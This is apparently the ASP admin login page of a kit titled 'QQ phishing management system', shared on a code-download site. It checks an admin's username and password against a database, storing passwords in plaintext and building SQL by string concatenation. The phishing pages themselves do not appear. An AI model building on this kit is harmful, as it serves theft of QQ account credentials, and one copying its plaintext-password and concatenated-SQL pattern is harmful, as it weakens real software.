www.pudn.com > QQ.zip > admin.asp, change:2010-01-21,size:5093b


<!--#include file="conn.asp"--> 
<% 
  if Request.form.count>0 then 
    '提交 
	if Request.Form("CheckCode")<>Request.Cookies("CheckCode") then 
		   Response.write "<script>alert('验证码错误,登录失败');history.back();</script>" 
		   Response.end 
	end if 
	UserName=replace(Request.Form("UserName"),"'","''") 
	PassWord=Request.Form("PassWord") 
	set rs=server.CreateObject("adodb.recordset") 
	sql="select * from tb_User_info where UserName='" & UserName &"'" 
	rs.open sql,conn,1,1 
	if rs.recordcount<>0 then 
       if PassWord=rs("PWD") then 
	       if rs("isDisabled")=true then 
			   Response.Write("<script>alert('此用户已被禁用,登录失败');history.back();</script>") 
			   Response.end 
		   else 
		      Session("admin")=rs("UserName") 
			  Session("login_UserType")=rs("UserType") 
			  Session("login_RealName")=rs("RealName") 
			  Session("login_quanxian")=rs("UserType") 
			  Response.redirect("index.asp") 
		   end if 
	   else 
		   Response.Write("<script>alert('密码错误,登录失败');history.back();</script>") 
		   Response.end 
	   end if 
	else 
	   Response.Write("<script>alert('用户不存在,登录失败');history.back();</script>") 
	   Response.end 
	end if 
	rs.close 
	 
 
  end if 
%> 
<HTML><HEAD><TITLE>QQ钓鱼管理系统</TITLE> 
<META http-equiv=Content-Type content="text/html; charset=gb2312"><LINK  
href="images/admin_css.css" type=text/css rel=stylesheet> 
<META content="MSHTML 6.00.2900.5726" name=GENERATOR> 
<SCRIPT type=text/javascript> 
function check() 
{ 
if(document.form1.username.value=="") 
  { 
   alert("请填写会员名!"); 
   document.form1.username.focus(); 
   return false; 
   } 
if(document.form1.password.value=="") 
   { 
   alert("请填写会员密码!"); 
   document.form1.password.focus(); 
   return false; 
   } 
if(document.form1.code.value=="") 
   { 
   alert("请填写验证码!"); 
   document.form1.code.focus(); 
   return false; 
   } 
} 
</SCRIPT> 
</HEAD> 
<BODY class=bg-login leftMargin=0 topMargin=0> 
<FORM name="FormPost" action="" method="post"> 
<TABLE height="100%" cellSpacing=0 cellPadding=0 width="100%" align=center border=0> 
<TBODY> 
  <TR> 
    <TD height=73> 
      <DIV align=center></DIV></TD></TR> 
  <TR> 
    <TD align=middle height=335> 
      <TABLE height=335 cellSpacing=0 cellPadding=0 width=560 border=0> 
        <TBODY> 
        <TR> 
          <TD vAlign=top align=right  
          background=images/bg_login_pad.jpg> 
            <TABLE cellSpacing=0 cellPadding=0 width=556 border=0> 
              <TBODY> 
              <TR> 
                <TD height=29> </TD></TR> 
              <TR> 
<TD class=bg-banner height=111> 
<OBJECT codeBase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0 height=111 width=551 classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000><PARAM NAME="movie" VALUE="images/intro.swf"><PARAM NAME="quality" VALUE="high"><PARAM NAME="menu" VALUE="false"><PARAM NAME="wmode" VALUE="transparent">             
<embed src="images/intro.swf" width="551" height="111" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent"></embed></OBJECT></TD></TR> 
    <TR><TD height=116> </TD></TR> 
              <TR> 
                <TD align=middle height=40> 
                  <TABLE cellSpacing=0 cellPadding=2 width=456 align=center  
                  border=0> 
                    <TBODY> 
                    <TR> 
<TD align=right width=67> 
  <DIV align=right><FONT color=#666666>用户名:</FONT></DIV></TD> 
<TD width=104><INPUT class=input-18 id=UserName maxLength=20 size=13 name=UserName></TD> 
<TD align=right width=67> 
  <DIV align=right><FONT color=#666666>密 码:</FONT></DIV></TD> 
<TD width=92><INPUT class=input-18 id=PassWord type=password maxLength=20 size=13 name=password></TD> 
<TD width=51> </TD> 
<TD width=51> </TD></TR> 
                    <TR> 
<TD align=right> 
  <DIV align=right><FONT color=#666666>验证码:</FONT></DIV></TD> 
<TD><INPUT class=input-18 id=CheckCode maxLength=4 size=13 name=CheckCode></TD> 
<TD align=middle><img src="code.asp" style="display:block;"></TD> 
<TD> </TD> 
<TD><INPUT type=image height=22 width=51 src="images/login_submit.gif" align=middle border=0 name=imageField></TD> 
<TD><IMG style="CURSOR: hand" onclick=FormPost.reset() height=22 src="images/login_reset.gif" width=51 align=middle border=0 name=imageField2> 
                    </TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR> 
  <TR> 
    <TD align=middle height=60><IMG height=60  
      src="images/shadow_login.jpg" width=560></TD></TR> 
  <TR> 
    <TD> </TD></TR> 
  <TR> 
    <TD bgColor=#d6d6d6 height=1><IMG height=1  
      src="images/spacer.gif" width=1></TD></TR> 
  <TR> 
    <TD bgColor=#fffef9 height=1><IMG height=1  
      src="images/spacer.gif" width=1></TD></TR> 
  <TR> 
    <TD align=middle bgColor=#eeeeee height=44><FONT color=#666666>╱/.尅畵汜憶    QQ:379715133</FONT></TD></TR> 
  <TR> 
    <TD bgColor=#e3e3e3  
height=19> </TD></TR></TBODY></TABLE></FORM></BODY></HTML>